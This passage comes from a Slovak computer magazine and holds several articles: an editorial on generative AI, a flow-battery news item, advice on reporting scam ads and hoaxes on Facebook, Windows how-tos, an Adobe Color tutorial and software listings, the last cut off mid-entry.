Nástroje generatívnej AI vám pomôžu zvý-
šiť produktivitu aj pri komunikácii a správe 
agendy. Niektoré úlohy, ktoré zabrali nie-
koľko hodín, dokážete zvládnuť v priebehu 
niekoľkých minút, AI dokáže zosumarizovať 
informácie z dlhých e-mailových vlákien a 
vypracovať návrhy odpovedí. Na automa-
tické odpovedanie na e-mailové správy sa 
však treba pozrieť aj z opačného uhla po-
hľadu. Asi by vás nepotešilo, keby komuni-
kačný partner odpoveď na váš starostlivo 
sformulovaný mail prenechal na AI. Alebo 
by pri najbližšom osobnom stretnutí nevedel 
nadviazať na tému, pretože maily za neho 
písal chatbot. Prípadne môže nastať ešte 
zaujímavejšia situácia, že budú medzi sebou 
komunikovať nie dvaja ľudia, ale dva chat-
boty. Tak ako pri obchodnej komunikácii 
medzi dvoma ľuďmi má výhodu vzdelanejší 
a skúsenejší, aj pri vzájomnej komunikácii 

chatbotov bude za dlhší koniec ťahať ten 
pokročilejší. 

AI vám takisto pomôže naplno využiť 
možnosti aplikácií. Napriek tomu, že denne 
využívam Word a pomerne často aj Excel a 
vývojárske nástroje, nemôžem tvrdiť, že by 
som mal úplný prehľad o všetkých funkciách 
„ukrytých“ v rôzne štruktúrovaných ponu-
kách menu a líšt nástrojov. V nových ver-
ziách aplikácií s integrovanou AI spravidla 
stačí sformulovať príkaz, či už textový, alebo 
v podporovaných jazykoch aj hlasový. 

Každá minca má dve strany a aj v tomto 
prípade platí „niečo za niečo“. Uhádli ste, 
máme na mysli zabezpečenie. Jazykové 
modely LLM sú trénované na obrovskej, 
ale predsa len obmedzenej množine úda-
jov. Kľúčom k zvýšeniu vašej produktivity je 
prepojenie LLM s vašimi dokumentmi a ob-
chodnými dátami. Toto prepojenie musí byť 
bezpečné a podľa možnosti jednosmerné. 
Máte pravdu, je v tom kúsok sebectva. Na 
jednej strane by ste radi profitovali zo skúse-
ností, ktoré AI nadobudla trénovaním sa na 
údajoch iných ľudí a firiem, na druhej strane 
by ste veľmi neradi poskytli na trénovanie 
modelov AI svoje údaje. Dobrý kompromis 
je, aby nástroje AI využívali na svoje trénova-

nie anonymizované údaje. Proti trénovaniu 
AI na vašich anonymizovaných údajoch by 
ste zrejme nemali námietky, no museli by ste 
aplikáciám, ktoré s vašimi údajmi pracujú, 
dôverovať. Preto na prácu s citlivými údajmi 
používajte len aplikácie od dôveryhodných 
dodávateľov.  

Reklamný priestor nás zaplavuje spon-
zorovanými príspevkami na rôzne nástroje 
tretích strán, ktoré na základe predpripra-
vených šablón umožňujú generovať zada-
nia pre modely AI. To samo osebe nemôže 
viesť k prípadnému úniku informácií, ale 
takéto výstupy, ktoré nemajú prístup k 
vašim údajom, spravidla nebudú mať ani 
relevantnú kvalitu a výpovednú hodnotu. 
Preto vás nástroje tohto typu budú žiadať o 
prístup k dokumentom, údajom a agende. 
Je len na vás, či aplikácii alebo službe od 
startupu takýto prístup umožníte. Je zrejmé, 
že aplikácie tohto typu prístup k vašim 
údajom na svoje fungovanie potrebujú, ale 
malo by byť transparentné, ako tieto údaje 
využívajú, kam a komu ich odovzdávajú. 

 » ĽUBOSLAV LACKO 

ÚVODNÉ FOTO: FREEPIK / FREEPIK.COM

Prietokové batérie s nanoelektrickým 
palivom predstavujú inováciu tradič-

ných prietokových batérií, pretože zvy-
šujú hustotu energie prostredníctvom 
nanočastíc. Ich vývoj podporuje ame-
rická Agentúra pre pokročilé obranné vý-
skumné projekty (DARPA). Na to, aby táto 
technológia napájala elektrické vozidlá, 
si budeme musieť počkať ešte aspoň dva 
roky, ale ponúka mnohé výhody oproti 
bežným prietokovým alebo lítiovo-ióno-
vým batériám. Nanopalivo má potenciál 
vyvážiť dodávku energie, poskytnúť ne-
prerušované napájanie a ďalej posilniť 
sieť záložnými zdrojmi elektriny.

Influit Energy, startup snažiaci sa o 
komercializáciu prietokových batérií s 
nanoelektrickým palivom, využil vládnu 
zákazku na zlepšenie nanopaliva, ar-
chitektúry batérie a systému dobíjania 
a dodávania energie. John Katsoudas, 
spoluzakladateľ a generálny riaditeľ spo-
ločnosti, povedal, že technológia dokáže 

uložiť 15 až 25-krát viac energie ako tra-
dičné prietokové batérie a bude lacnejšia 
a vydrží dlhšie. Nové batérie môžu preko-
nať aj lítiovo-iónové články.

Influit teraz vyvíja batériu s hustotou 
energie 550 až 850 watthodín na kilo-
gram alebo vyššou. Na porovnanie, štan-
dardná lítiovo-iónová batéria dosahuje 
200 až 350 Wh/kg. Dizajn je ohňovzdorný 
a umožňuje veľmi rýchlu výmenu použi-
tej nanokvapaliny – až 400 litrov za päť 

minút. To upútalo pozornosť armády, 
ktorá chce v rokoch 2030 a 2050 prejsť 
na používanie elektrických zásobova-
cích vozidiel a elektrických taktických 
vozidiel.  Pre svoju bezpečnosť by tech-
nológia mohla byť obzvlášť vhodná aj na 
výrobu elektrických lietadiel. Bude však 
musieť prekonať vývoj lítiovo-iónových 
a iných batérií. Objavili sa totiž správy 
o lítiovo-iónovej batérii s kapacitou 711 
Wh/kg a lítiovo-mangánovo-železofosfá-
tovej batérii, ktorá dokáže poháňať elek-
tromobil na vzdialenosť 1000 kilometrov 
a udrží si kapacitu až 130 rokov.                       

INOVATÍVNA PRIETOKOVÁ BATÉRIA DOKÁŽE 
NABIŤ ELEKTROMOBIL LEN ZA 5 MINÚT
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Kľúčovým atribútom fungovania sociálnych 
sietí je virálnosť. Veľký potenciál, čo sa 

týka šírenia čiže počtu zobrazení, majú rôzne 
senzácie, polopravdy a nepravdivé informá-
cie šírené vedome aj nevedome. Dôvody na 
šírenie hoaxov sú rôzne, nielen snaha nie-
čím vyniknúť, ale najčastejšie je dôvodom 
finančný zisk. Šírenie hoaxov je obzvlášť vý-
nosné na platformách, ktoré autorov videí a 
príspevkov odmeňujú za počet videní.

Finančný zisk je motiváciou pre sponzoro-
vané príspevky propagujúce rôzne aktivity na 
hranici podvodu alebo za ňou. To, že na najzná-
mejšej sociálnej sieti natrafíte na takýto príspe-
vok, je skôr pravidlom než výnimkou, o hoaxoch 
ani nehovoriac. Pri príprave tohto článku nám 
stačilo prerolovať štyri obrazovky a zobrazil sa 
sponzorovaný príspevok s odkazom na stiah-
nutie najnovšej verzie AI Bard. Pre laika odkaz 
pôsobí dôveryhodne, pretože inštalačný súbor 
podvodníci uložili na stránku, ktorej adresa sa 
končila „...google.com“, v tomto konkrétnom 
prípade na sites.google com, čo je portál, na kto-
rom môže každý vytvárať a prevádzkovať svoje 

webové stránky a tie môžu obsahovať aj odkazy 
na stiahnutie súborov. Po kliknutí na odkaz sa 
stiahne archív RAR, v ktorom je zabalený spus-
titeľný súbor s príponou exe. V lepšom prípade 
ide o takzvaný adware čiže škodlivý kód, kto-
rého cieľom je zobrazovať reklamy, prípadne na 
falošné stránky presmerovať frázy, ktoré zadá-
vate do vášho obľúbeného vyhľadávača. V hor-
šom prípade to môže byť nebezpečný škodlivý 
kód, napríklad ransomvér, ktorý vám zašifruje 
disk a následne od vás kyberzločinci budú žiadať 
výpalné, teda poplatok za odšifrovanie. 

Poviete si, že vstupujeme do éry umelej inteli-
gencie a pre AI algoritmy by nemal byť problém 
takéto podvodné príspevky odhaliť, najlepšie 
ešte skôr, než prevádzkovateľ sociálnej siete do-
stane zaplatené za promovanie príspevku a než 
príspevok bude uverejnený. Človek nemusí byť 
finančný génius, aby si uvedomil zjavný rozpor. 
Algoritmy by mali zabrániť tomu, aby ich pre-
vádzkovateľ dostal zaplatené... Podobná dilema 
platí aj v prípade hoaxov čiže falošných správ. Sú 
to práve dezinformácie, ktoré majú tendenciu 
virálne sa šíriť a dosiahnuť to, o čo sa prevádz-

kovatelia sociálnych sietí najviac usilujú – udržať 
používateľa na svojich stránkach čo najdlhšie, 
aby mu bolo možné zobraziť čo najviac reklám 
a sponzorovaných príspevkov. 

Jediný inhibítor a dôvod, prečo sociálne siete 
zaviedli možnosť nahlasovania dezinformácií 
a podvodov, je strata reputácie. Kľúčovým pi-
lierom fungovania sociálnych sietí sú komu-
nity. Na jednej strane to môžu byť takzvané 
bubliny, teda okruhy používateľov, ktorých 
spája spoločný záujem a presvedčenie, pri-
čom hoaxom sa najlepšie darí v komunitách 
spájajúcich ľudí s podobnými názormi. Na 
druhej strane sa sociálne siete spoliehajú na 
komunitu používateľov, že budú nahlasovať 
problematický obsah. Na základe ich aktivít 
môžu sociálne siete ladiť algoritmy, ktoré s 
vysokou pravdepodobnosťou dokážu dezin-
formácie odhaliť. Nielen dezinformácie, ale aj 
podvody, clickbaity či spam. Každá minca má 
dve strany a príliš prísne politiky a algoritmy 
by mohli ľuďom zabrániť zdieľať ich názory, 
prípadne by mohli omylom obmedziť prav-
divý a presný obsah. To je jeden z dôvodov, 
prečo sa prevádzkovatelia sociálnych sietí vy-
hýbajú tomu, aby boli arbitrami pravdy. Viac 
sa v tom spoliehajú na komunitu používateľov 
a dôveryhodné tretie strany, napríklad portály 
a stránky, ktoré vyvracajú mýty a hoaxy a od-
haľujú podvody.

Treba si uvedomiť, že nahlasovanie proble-
matického obsahu je dvojsečná zbraň. Ilustru-
jeme to na príklade, keď líder niektorej politickej 
strany uverejní síce trendový, ale viac-menej 
korektný príspevok, v ktorom prezentuje svoj 
názor, vyjadruje sa k určitej problematike, in-
formuje o nejakom podujatí a podobne. Sym-
patizanti strán s protichodnými názormi začnú 
jeho príspevok okamžite hromadne nahlasovať. 
Z tohto príkladu je zrejmé, že prevádzkovatelia 
sociálnych sietí musia k tejto problematike pri-
stupovať citlivo a zodpovedne. 

NAHLASOVANIE  
PROBLEMATICKÉHO  
OBSAHU A PODVODNÝCH  
REKLÁM NA  
SOCIÁLNYCH SIEŤACH

  Nahlasovanie príspevku na Facebooku
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Nahlasovanie obsahu je anonymné, takže 
ostatní používatelia nezistia, kto obsah nahlásil. 
Odkaz na nahlásenie problematického príspevku 
alebo videa je v kontextovom menu, ktoré sa ak-
tivuje pravým tlačidlom myši alebo dlhším pri-
držaním. Následne treba klasifikovať problém. 
Môžete si vybrať z ponúkaných kategórií: 

 nahota, 

 násilie, 

 obťažovanie, 

 samovražda alebo sebazraňovanie, 

 nepravdivé informácie, 

 spam, 

 nepovolený predaj, 

 nenávistné prejavy, 

 porucha príjmu potravy, 

 týka sa dieťaťa, 

 terorizmus, 

 odpudzujúci obsah, 

 nezákonný obsah, 

 podvod, 

 duševné vlastníctvo, 

 šikanovanie, 

 výsmech obetiam, 

 zneužívanie detí, 

 týranie zvierat.

 Po výbere kategórie budete ďalej usmernení. 
Prevádzkovateľ sociálnej siete by mal na základe 
nahlásení príspevok skontrolovať, a ak porušuje 
normy komunity, mal by ho odstrániť. Pri kon-
taktovaní osoby alebo firmy, ktorá nahlásený 
príspevok zverejnila, sa neuvádzajú žiadne in-
formácie o osobe, ktorá daný problém nahlásila. 

Pri príspevkoch, ktoré jednoznačne poru-
šujú normy komunity, je situácia jasná. Často 
však narazíte na príspevok, ktorý sa vám 
nepáči, prípadne si myslíte, že promovaná 
aktivita je na hranici spamu. Určite neuspe-
jete, ak budete chcieť nahlásiť stránku, ktorá 
intenzívne promuje produkt, o ktorom sa 
nazdávate, že je problematický alebo zavá-
dzajúci. Vyberiete napríklad kategóriu Spam. 
Následne budete usmernení, že do tejto ka-
tegórie patrí:  

 Nákup, predaj alebo rozdávanie účtov, rolí 
alebo povolení

 Povzbudzovanie ľudí, aby interagovali s obsa-
hom, pod falošnou zámienkou

 Odvádzanie ľudí z Facebooku zavádzajúcim 
použitím odkazov

Rovnako to nemôžete nahlásiť ani ako pod-
vod, citujeme usmernenie pre túto kategóriu: 
„Odstraňujeme len obsah, ktorý porušuje naše 

normy. Nepovoľujeme obsah, ktorého cieľom 
je podvodom získať neférovú výhodu alebo 
obrať niekoho o peniaze, majetok alebo zá-
konné práva.“

Z hľadiska používateľov treba rozlišovať 
medzi príspevkami, ktoré uvádzajú neprav-
divé informácie, a príspevkami, ktoré normy 
komunity neporušujú, no vám osobne sa z ne-
jakého dôvodu nepáčia. Pri sponzorovanej re-
klame môžete aktivovať voľbu Skryť reklamu, 
aby sa vám už nezobrazovala. Aktivovaním 
voľby Skryť príspevok by ste mali dosiahnuť, 
že sa vám bude zobrazovať menej príspevkov 
daného typu. Ak sa vám príspevky niektorého 
používateľa nepáčia, môžete jeho príspevky 
na 30 dní pozastaviť, zrušiť sledovanie použí-
vateľa alebo zablokovať profil daného použí-
vateľa. Zablokovanie sa myslí vo vzťahu k vám. 
Ak nie ste spokojní s príspevkom, v ktorom ste 
označení, môžete značku odstrániť. Ak vás nie-
kto na sociálnej sieti nahnevá alebo znechutí, 
môžete zrušiť priateľstvo.

Ak sa vám nepáči príspevok alebo komentár, 
ktorý niekto zanechá vo vašom profile, môžete 
ho skryť alebo odstrániť. Ak chcete odstrániť 
príspevok na inom profile, ktorý sa vám nepáči 

alebo sa vás nejakým spôsobom týka, môžete 
požiadať osobu, ktorá príspevok uverejnila, aby 
ho odstránila. Ak je príspevok v rozpore s pra-
vidlami komunity, napríklad ide o šikanovanie 
alebo obťažovanie, nemusí vám byť príjemné 
kontaktovať danú osobu priamo, v takom prí-
pade treba príspevok nahlásiť. Ak sa nejakým 
príspevkom cítite ohrození, je potrebné kontak-
tovať orgány činné v trestnom konaní.

Ak ste nahlásili príspevok, ktorý je v zjavnom 
rozpore s pravidlami komunity, no príspevok 
nebol odstránený, dôvodom môže byť malý 
počet pracovníkov, ktorých prevádzkovateľ so
ciálnej siete vyčlenil na posudzovanie príspev-
kov v príslušnom jazyku. Na ilustráciu, Facebook, 
presnejšie agentúra AFP, ktorá pre túto sociálnu 
sieť poskytuje overovacie služby, v roku 2022 
zamestnávala na Slovensku iba JEDNÉHO ove-
rovateľa faktov... 

Dezinformácie či hoaxy môžete nahlásiť nie-
len priamo na príslušnej sociálnej sieti, ale na 
takýto obsah môžete upozorniť aj Radu pre 
mediálne služby.

»  ĽUBOSLAV LACKO

ÚVODNÝ OBR ZDROJ:  PIKISUPERSTAR ON FREEPIK

  Príklad falošnej reklamy na Facebooku
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Hromadné premenovanie súborov patrí 
k pomerne neznámym integrovaným 

vlastnostiam Windows v rámci klasického 
Prieskumníka súborov.

Aj keď sa na túto úlohu dá použiť nepre-
berné množstvo aplikácií tretích strán, nie 
vždy ich možno len tak svojvoľne inštalo-
vať (napríklad na pracovnom či cudzom 
počítači). Použitie funkcie, ktorá je v ope-
račnom systéme priamo v základe, teda 
neraz príde vhod.

Postup sa dá použiť na Windows 11 a 
totožne aj na Windows 10. Súbory, ktoré 
chcete premenovať, stačí označiť a ná-

sledne na jeden z nich aplikovať základné 
meno, od ktorého chcete ostatné odvodiť.

Pokiaľ sa v priečinku nachádzajú iba sú-
bory, ktoré chcete premenovať, môžete ich 
rýchlo všetky označiť klávesovou skratkou 
CTRL + A. Pokiaľ niektoré z nich preme-
novať nechcete, stlačte CTRL a následne 
na nevhodné súbory kliknite myšou, čím 
sa odznačia. Rovnakým spôsobom možno 
aj súbory jeden po druhom cielene ozna-
čovať za predpokladu, že sa nachádzajú 
medzi veľkým množstvom nevhodných.

Len čo máte potrebné súbory ozna-
čené, stlačte kláves F2, ktorý spustí proces 

premenovania. V základe sa za koreňový 
súbor premenovania použije posledný 
súbor, ktorý ste označili. Ak tento súbor 
premenujete napríklad na Fotka, proces 
premenovania automaticky bude pokra-
čovať na všetky označené súbory vo forme 
Fotka (2), Fotka (3), Fotka (4) atď.

Môžete si, pravdaže, vybrať, pri ktorom 
súbore sa proces premenovania začne. 
Stačí,  ak v rámci označených súborov 
kliknete pravým tlačidlom myši na ten vy-
braný a vo vysunutom kontextovom menu 
zvolíte možnosť Premenovať. Vybraný 
súbor aktivuje svoje premenovania a po 
zadaní mena sa podľa napísaného mena 
premenujú všetky ostatné.

Ak sa vám premenovanie nepodarilo 
podľa vašich predstáv, klávesovou skrat-
kou CTRL + Z sa vráťte k pôvodným ozna-
čeniam a skúste proces znovu. 

Pokiaľ potrebujete premenovávať sú-
bory v inom poradí, napríklad podľa dá-
tumu vytvorenia alebo typu, vždy si ich 
najprv v rámci priečinka štandardne zo-
raďte kliknutím na Zobraziť/Podrobnosti. 
Následne kliknite na stĺpec, podľa kto-
rého chcete súbory zoradiť smerom vpred 
alebo vzad. Ak potrebnú možnosť nevidíte, 
kliknite pravým tlačidlom myši na riadok 
s jednotlivými názvami vlastností a vy-
berte zobrazenie ďalších, ako napríklad 
autora, dĺžky trvania (pri multimediálnych 
súboroch), rozmerov (pri obrázkoch) a po-
dobne. 

Označené súbory sa budú vždy preme-
novávať v poradí, aké máte práve aktivo-
vané.			               .                

AKO VO WINDOWS 11 A WINDOWS 10  
HROMADNE PREMENOVÁVAŤ SÚBORY

» HROMADNÉ PREMENOVANIE SÚBOROV POMOCOU INTEGROVANÉHO PRIESKUMNÍKA 



Pokiaľ sa vám podarilo odfotiť fotografiu so 
zlou orientáciou, v rámci vášho smartfónu 

ste si to možno ani nevšimli. Koniec koncov 
vždy ho môžete otočiť aj vo vlastnej ruke bez 
nutnosti automatického softvérového otoče-
nia obrazovky. 

No len čo fotografiu máte zálohovanú na-
príklad na svojom počítači, jej zlá orientácia 
začne byť rýchlo zrejmá a nepríjemná.

Náprava je v rámci Windows 11 aj 10 na-
šťastie blesková, i keď si to nie každý uve-
domuje. Orientáciu fotografie totiž možno 
upraviť priamo v Prieskumníku kliknutím na 
súbor bez toho, aby ste ho otvárali.

Na lepší prehľad si fotografie zobrazte v 
rámci priečinka s náhľadom, napríklad klik-
nutím na ikonu obrázka/štvorčeka v pravom 
dolnom rohu okna.

Následne kliknite na fotografiu alebo aký-
koľvek iný obrázok pravým tlačidlom myši a v 
otvorenom kontextovom menu vyberte mož-
nosť Otočiť doprava alebo Otočiť doľava. Foto-
grafia sa v rámci svojej orientácie ihneď obráti.

Ak potrebujete otočiť fotografiu o 180°, 
teda „hore nohami“, použite funkciu otočenia 
doľava alebo doprava dvakrát po sebe.

Pokiaľ, naopak, potrebujete fotografiu otá-
čať len o niekoľko stupňov, napríklad v rámci 
korekcie natočenia svojej ruky, ktorá držala 
smartfón (most či iný vodorovný objekt je 
na fotke mierne naklonený), môžete to vyko-
nať pomocou vstavanej aplikácie Fotografie, 

ktorá je priamou súčasťou Windows 11 aj 
Windows 10. 

Kliknite priamo v priečinku na požadovaný 
súbor fotografie pravým tlačidlom myši a v 
menu vyberte Otvoriť v programe/Fotografie. 
Potom v hornom menu kliknite na ikonu edi-
tácie obrázka, reprezentovanú štvorčekom a 
ceruzkou (klávesová skratka CTRL + E), ktorá 
vám otvorí okno s podrobnou rotáciou.

Ikony v dolnej časti vám umožnia fotku oto-
čiť zrkadlovo alebo hore nohami. Všimnite si, 
že jazdec je v základe nastavený na nulu. Jeho 
posunom doľava alebo doprava môžete začať 
otáčať fotografiu o ľubovoľný stupeň. 

Vzhľadom na obdĺžnikový formát fotogra-
fie to, pravdaže, znamená, že na zachovanie 
obrazu v každej časti sa musia rohy ustrihnúť 
a obraz mierne priblížiť, čo program automa-
ticky bude robiť za vás, aby ste dostali vždy ce-
listvý obrázok. Pokiaľ chcete zoom korigovať, 
točte kolieskom myši dopredu a dozadu, až 
kým nedosiahnete žiadaný výsledok.

Ak ste s rotáciou spokojní, obrázok uložte. 
Ak sa vám, naopak, výsledok nepáči, kedykoľ-
vek aktuálnu rotáciu zahoďte tlačidlom Zrušiť, 
čím sa automaticky vrátite k pôvodnej.

		             

AKO RÝCHLO OTOČIŤ FOTOGRAFIU ALEBO OBRÁZOK VO  
WINDOWS 11 A 10 BEZ POTREBY DOPLNKOVÉHO PROGRAMU

» DETAILNÉ OTOČENIE FOTOGRAFIE O ĽUBOVOĽNÝ POČET STUPŇOV, UMOŽŇUJÚCI ZÁKLADNÉ KOREKCIE VODOROVNOSTI
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» PRIAME OTOČENIE FOTOGRAFIE POMOCOU KONTEXTOVÉHO MENU PRAVÉHO TLAČIDLA MYŠI
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 V súčasnej verzii Windows 11 bola klasická in-
tegrovaná aplikácia Poznámkový blok nahra-

dená novou univerzálnou aplikáciou s rovnakým 
menom. Do vienka dostala niekoľko nových 
funkcií, medzi ktoré patrí záložkové otvorenie 

viacerých textových súborov zároveň a takisto 
priebežné ukladanie textu, ktorý je automaticky 
znovu otvorený pri nasledujúcom spustení.

To, že program automaticky otvára pôvodný 
text, pri ktorom sa zavrel, nemusí byť každému 

používateľovi príjemné. Obzvlášť ak túto apli-
káciu používa na rýchle vytvorenie nových tex-
tových poznámok alebo dočasných textov, pri 
ktorých očakáva zmiznutie pri zavretí bez ulože-
nia. Pokiaľ je to aj váš prípad, dobrá správa je, že 
toto správanie možno zmeniť a nastaviť ho na to 
klasické, aké ste dobre poznali z predchádzajú-
cej verzie tejto utility.

V otvorenom okne Poznámkového bloku 
kliknite na ikonu ozubeného kolieska v pravom 
hornom rohu a zamierte do sekcie nazvanej Pri 
spustení Poznámkového bloku.

V nej vyberte možnosť Otvoriť nové okno, 
ktorá zabráni otváraniu predchádzajúcej relácie 
a rozpracovaného dokumentu. 

Ak nejaký rozpracovaný textový súbor zostal v 
programe neuložený, zobrazí sa ponuka na jeho 
uloženie alebo zahodenie.	 	          

 

AKO V POZNÁMKOVOM BLOKU WINDOWS 11 ZAKÁZAŤ  
AUTOMATICKÉ OTVÁRANIE ROZPÍSANÝCH SÚBOROV

Poznámkový blok v aktuálnych verziách Win-
dows 11 vo forme univerzálnej aplikácie 

nahradil klasickú utilitu, ktorá je úzko spätá so 
systémom Windows už niekoľko desaťročí. Aj keď 
priniesol niekoľko nových prvkov a schopností 
tohto základného textového programu, nie kaž-
dému používateľovi môže byť nové prostredie a 
spôsob používania po vôli.

Hoci sa nový Poznámkový blok dá v základe 
nastaviť tak, aby sa správal dosť podobne ako ten 
pôvodný, z dôvodu rýchlosti a jednoduchosti má 
predsa len pôvodná utilita svoje čaro.

Microsoft bránu pôvodnej aplikácii nechal 
otvorenú, a pokiaľ máte záujem, kedykoľvek si ju 
v rámci Windows 11 môžete opäť aktivovať a bez 

problémov ju používať tak, ako ste boli zvyknutí.
Na aktiváciu otvorte Nastavenia Windows a 

presuňte sa do sekcie Systém/Voliteľné funkcie. 
Tu nájdete možnosť Pridať voliteľnú funkciu, kde 
po kliknutí na tlačidlo Zobraziť funkcie vyberte 
pomocou integrovaného vyhľadávacieho políčka 
možnosť Poznámkový blok (systém). Keby ste ho 

v zozname nenašli, znamená to, že je na vašom 
operačnom systéme už aktívny a nájdete ho v 
rovnakej sekcii Nastavenia medzi aktivovanými 
funkciami.

Pôvodná verzia Poznámkového bloku sa spustí 
len v prípade, že nový variant v podobe univerzál-
nej aplikácie nie je v systéme prítomný. 

Otvorte Nastavenia Windows, kliknite na 
sekciu Aplikácie/nainštalované aplikácie a Po-
známkový blok v ňom podľa názvu vyhľadajte. 
Následne jeho položku otvorte cez ikonu troch 
bodiek a vyberte možnosť Odinštalovať. Týmto 
krokom sa aktivuje pôvodný Poznámkový blok, 
ktorý je v systéme na základe predchádzajúceho 
kroku prítomný (v priečinku C:\Windows\Sys-
tem32) a začne znovu fungovať tak ako v minu-
losti.

Keby ste si svoje rozhodnutie v budúcnosti 
rozmysleli, kedykoľvek sa môžete vrátiť k novej 
verzii programu jeho inštaláciou cez integrovaný 
aplikačný obchod Microsoft Store.	            

AKO NA WINDOWS 11 AKTIVOVAŤ KLASICKÝ  
POZNÁMKOVÝ BLOK NAMIESTO UNIVERZÁLNEJ APLIKÁCIE

» PÔVODNÁ VERZIA PROGRAMU POZNÁMKOVÝ BLOK ZNOVU AKTIVOVANÁ NA AKTUÁLNEJ VERZII WINDOWS 11

» INTEGRÁCIA STARÉHO POZNÁMKOVÉHO BLOKU DO SYSTÉMU WINDOWS

» INASTAVENIE SPRÁVANIA AKTUÁLNEJ VERZIE POZNÁMKOVÉHO BLOKU



Či už pracujete na nejakom novom 
webe, alebo navrhujete plagát, logo či 

dokonca obytný interiér, kontaktu so zla-
dením farieb sa nevyhnete.

Azda nič pritom neťahá oči viac než ama-
térsky zvolená farebná paleta, v rámci kto-
rej farby vzájomne neladia a všetko pôsobí 
nesúladne a rušivo.

Jeden z výborných pomocných nástro-
jov, ktoré v tejto súvislosti môžete použiť, 
je Adobe Color. Ide o webový nástroj do-
stupný dizajnérom, webovým tvorcom, 
fotografom či komukoľvek inému, kto pra-
cuje s farbou, pričom je celkom zadarmo 
bez akýchkoľvek obmedzení.

Môžete ho použiť na návrh vhodnej fa-
rebnej palety pre svoj projekt alebo dielo 
bez ohľadu na to, či rozumiete, alebo nero-
zumiete teórii farieb. Žiadne znalosti na to 
nie sú potrebné.

Vzhľadom na to, že ide o nástroj z dielne 
Adobe, samozrejmá je priama synchronizá-
cia a export vytvorenej farebnej palety do 
plejády aplikácii tejto firmy. Nástroj však 
môžete použiť bez ohľadu na to, či nejaké 
aplikácie od Adobe používate. Poslúži vám 
rovnako dobre.

Nástroj nájdete na adrese https://color.
adobe.com/cs/create/color-wheel .  Jeho 
rozhranie je v základe v angličtine, no keby 
vám to nevyhovovalo, na spodnom paneli 
vľavo sa možno prepnúť do češtiny, pre na-
šinca trošku príbuznejšej.

Adobe Color používa dobre známy kruh 
farieb, ktorý je základom teórie farieb. Ná-
stroj vám umožní generovať farebnú pa-
letu v rámci rôznych druhov harmonických 
pravidiel, navrhovať gradienty či triafať sa 
s farebnosťou do konkrétnych nálad. Veľmi 

užitočný je aj pri návrhu vysoko kontrast-
ných tém pre zrakovo postihnutých. 

Ak vyberiete harmonický konfigurátor 
v rámci analogických farieb, nástroj vám 
na kruhu predostrie vzájomne prepojenú 
paletu v podobnom farebnom duchu. 
Ktorúkoľvek farbu môžete na kruhu chytiť 
myšou a ťahať ju na želaný odtieň, pričom 
celý zväzok ostatných sa bude v reálnom 
čase posúvať do príbuzných variácií ak
tuálnej voľby. Umožní vám to rýchlo vytvo-
riť náladové či atmosférické farebné témy 
pre každú situáciu.

Ak zvolíte monochromatickú, respek-
tíve jednofarebnú harmóniu, budete vy-
berať medzi piatimi prepojenými farbami 
v rámci jednej priamky. V základe ide teda 
o rôzne ladiace odtiene tej istej farby, čo sa 
často používa napríklad pri návrhu firem-
ných log a podobne.

Triadická harmónia vám pomôže s pa-
letou v rámci trojuholníkového výberu, pri 
ktorej sa od vybratej základnej farby od-
vodí jedna podobná a následne dva páry 

rovnako vzdialené na opačných stranách 
kruhu. Umožňuje to získať pekný vyvá-
žený farebný kontrast, často používaný aj 
v rámci webového dizajnu.

Komplementárne farby naproti tomu 
patria k častým voľbám pri dizajne grafic-
kých prvkov, plagátov či bytového návrhu. 
Pozostávajú z kombinácie farieb na opač-
nej strane kruhu, pričom typický príklad 
je žiarivý súlad modrozelenej a oranžovej 
farby na takmer každom filmovom plagáte 
akčného filmu. 

Adobe ponúka aj alternatívny komple-
mentárny split, pri ktorom sa na rozdiel 
od priameho náprotivku ponúka dvojitý 
pár, ktorý je mierne mimo priamej osi.

Pokiaľ to nestačí, štvorcový farebný 
súlad vám umožní vytvárať veľmi hravé 
farebné palety, ktoré sa hodia na grafické 
prvky pre hračky či témy súvisiace s deťmi.

Nech už dáte prednosť akejkoľvek fareb-
nej palete, hlavne v prípade webového ná-
vrhu nezabúdajte použiť dostupný nástroj 
na kontrolu uľahčenia prístupu. Umožní 
vám skontrolovať vašu paletu z hľadiska 
kontrastu s písmom, čo je veľmi dôležité 
pri ľuďoch s horším zrakom a takisto v sú-
vislosti s najčastejšími druhmi farbosle
posti.

Ak si vytvorené farebné palety nebudete 
exportovať priamo do programov Adobe a 
chcete ich použiť inde, skrátka na jednot-
livé identifikátory v podobe ich hodnoty 
HEX kliknite, čím sa automaticky skopírujú. 
Kódy reprezentujúce jednotlivé odtiene 
budete môcť následne použiť v akomkoľ-
vek inom programe.

	        

AKO NÁJSŤ VZÁJOMNE LADIACE FARBY VHODNÉ  
PRE WEBOVÉ ALEBO GRAFICKÉ NÁVRHY?

» VÝBER ANALOGICKÝCH FARIEB POMOCOU WEBOVÉHO NÁSTROJA ADOBE COLOR

» KONTROLA KONTRASTU JEDNOTLIVÝCH FARIEB Z PALETY
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Internet Download  
Accelerator v7.1
Manažér preberania súborov z internetu

Vlastnosti:
	podpora protokolov HTTP, HTTPS, FTP, FTPS a 

BitTorrent

	pokiaľ to vzdialený server umožňuje, 
program preberá súbory vo viacerých vlák-
nach paralelne, čím sa môže zvýšiť rýchlosť 
preberania

	dokončovanie prerušených prenosových úloh

	pripojenie cez HTTP a FTP proxy server a 
rôzne riešenia firewallu s podporou NTLM a 
NTLM-proxy autentifikácie

	integrácia s prehliadačmi Google Chrome, Fi-
refox, Microsoft Edge, Opera, Vivaldi a ďalšími

	preberanie video a MP3 súborov z populár-
nych služieb YouTube, Facebook, Google 
Video, Vimeo, Metacafe atď.

	pokiaľ to rýchlosť pripojenia dovoľuje, audio 
a videosúbory sa dajú prehrávať už počas ich 
preberania

	prezeranie obsahu archívov ZIP ešte pred ich 
prevzatím s možnosťou prevzatia len vybra-
tých súborov

	vstavaná práca s archívmi RAR
	integrácia súborového katalógu MyTopFiles
	podpora zásuvných modulov, dostupný je 

napr. rozšírený plánovač prenosových úloh
	viacjazyčná podpora vrátane slovenčiny

KeePass v2.56
Bezplatný správca hesiel a iných  
dôverných údajov

Vlastnosti:
	program používa na šifrovanie databázy 

hesiel a ďalších údajov (prihlasovacie mená, 
adresy, poznámky) algoritmus AES/Rijndael 
alebo ChaCha20 s 256-bitovým kľúčom; na 
jej zmenšenie môže byť aplikovaný kompri-
mačný algoritmus GZip

	primárny kľúč je transformovaný s použitím 
funkcie odvodenia kľúča s použitím AES-
-KDF alebo Argon2

	databázu hesiel možno exportovať do sú-
boru vo vlastných formátoch KDB, KDBX 
alebo v bežných formátoch XML, CSV a 
HTML

	program poskytuje pre prípad prechodu z 
